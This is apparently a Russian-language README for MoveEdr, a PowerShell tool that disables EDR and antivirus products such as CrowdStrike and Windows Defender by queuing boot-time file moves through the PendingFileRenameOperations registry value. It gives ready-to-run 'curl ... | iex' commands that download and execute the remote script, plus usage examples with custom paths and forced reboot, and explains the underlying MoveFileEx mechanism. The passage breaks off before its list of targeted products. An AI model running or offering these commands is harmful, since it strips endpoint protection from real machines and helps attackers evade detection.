
Постоянно отключать EDRs как локальный администратор
Если вы администратор, вы можете принудительно удалить или переместить папки и файлы в Windows сразу после загрузки, до запуска служб. Это можно использовать для отключения EDR.
[!CAUTION] Существует проблема с CrowdStrike, которая приводит к зацикливанию загрузки с сообщением "INACCESSIBLE_BOOT_DEVICE". Я предполагаю, что либо сам CrowdStrike, либо решение для развертывания ПО пытается установить отсутствующие файлы CrowdStrike, но терпит неудачу и оставляет систему в сломанном состоянии. Я не уверен, зависит ли это от времени, прошедшего после перемещения, или от количества выполненных перезагрузок. Первое перемещение CrowdStrike и перезагрузка работают нормально. Возможно, стоит запланировать отмену после первой перезагрузки, чтобы перестраховаться.
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# Перезагрузитесь!
Доступны следующие флаги:
Undo : Отменить перемещение EDR, работает с CustomPathsClear: Очистить значение ключа реестраPrint: Вывести значение ключа реестра в удобочитаемом формате вместо строк, завершающихся нулевыми байтамиCustomOnly: По умолчанию CustomPaths и FullyCustomPaths добавляются к встроенным перемещениям. Этот флаг гарантирует, что будут перемещены только ваши пользовательские пути.CustomPaths: Укажите свои собственные пути к EDR вместо использования встроенных. Принимает только источники; для настройки назначения используйте FullyCustomPaths.FullyCustomPaths : Укажите источники и назначения, давая вам контроль над назначением вместо использования $Suffix.Suffix: Используйте другой суффикс для перемещенных файлов вместо стандартного _bakDump: Выгрузить значения ключа реестра в формате, который можно использовать с LoadLoad: Загрузить ранее выгруженные значения ключа реестраDefenderHard: Вместо перемещения только отдельных исполняемых файлов Windows Defender переместите всю папку Windows DefenderIgnoreOld: Не сохранять уже существующие значения ключа реестра, слепо перезаписывать ихReboot: Выполнить перезагрузку сразу после установки ключа реестра. Может выполнить обновления Windows и занять много времени для перезагрузки 😬curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot
# Делайте то, что нужно!
# Отмена
# Та же команда, что и выше, только добавьте -Undo
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo
Некоторые программы имеют функцию, которая запрещает даже локальным администраторам удалять или отключать их. Чаще всего это антивирусы/EDR, которые запрашивают пароль для деактивации, даже если вы администратор.
Вот трюк, чтобы отключить их, перемещая файлы и папки, чтобы они не могли быть запущены при следующей загрузке.
SysInternals's PendMoves предоставляет movefile.exe, у которого есть следующее описание:
Существуют некоторые приложения, такие как пакеты обновления и исправления, которые должны заменить файл, который используется и не может быть заменен. Поэтому Windows предоставляет API MoveFileEx для переименования или удаления файла и позволяет вызывающему объекту указать, что они хотят выполнить операцию при следующей загрузке системы, до того, как файлы будут использованы. Session Manager выполняет эту задачу, считывая зарегистрированные команды переименования и удаления из значения реестра HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations.
Как именно MoveFileEx это делает? Давайте проверим документацию:
Функция сохраняет местоположения файлов, которые нужно переименовать при перезапуске, в следующем значении реестра: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
Это значение реестра имеет тип REG_MULTI_SZ. Каждая операция переименования сохраняет одну из следующих строк, завершающихся NULL, в зависимости от того, является ли переименование удалением или нет:
szSrcFile\0\0
szSrcFile\0szDstFile\0
Это означает, что мы можем достичь того же эффекта, что и movefile.exe, создав ключ реестра PendingFileRenameOperations и указав пути к файлам/каталогам, которые мы хотим удалить, в правильном формате REG_MULTI_SZ.
Скрипт MoveEdr автоматизирует создание правильных ключей реестра для следующих антивирусов/EDR: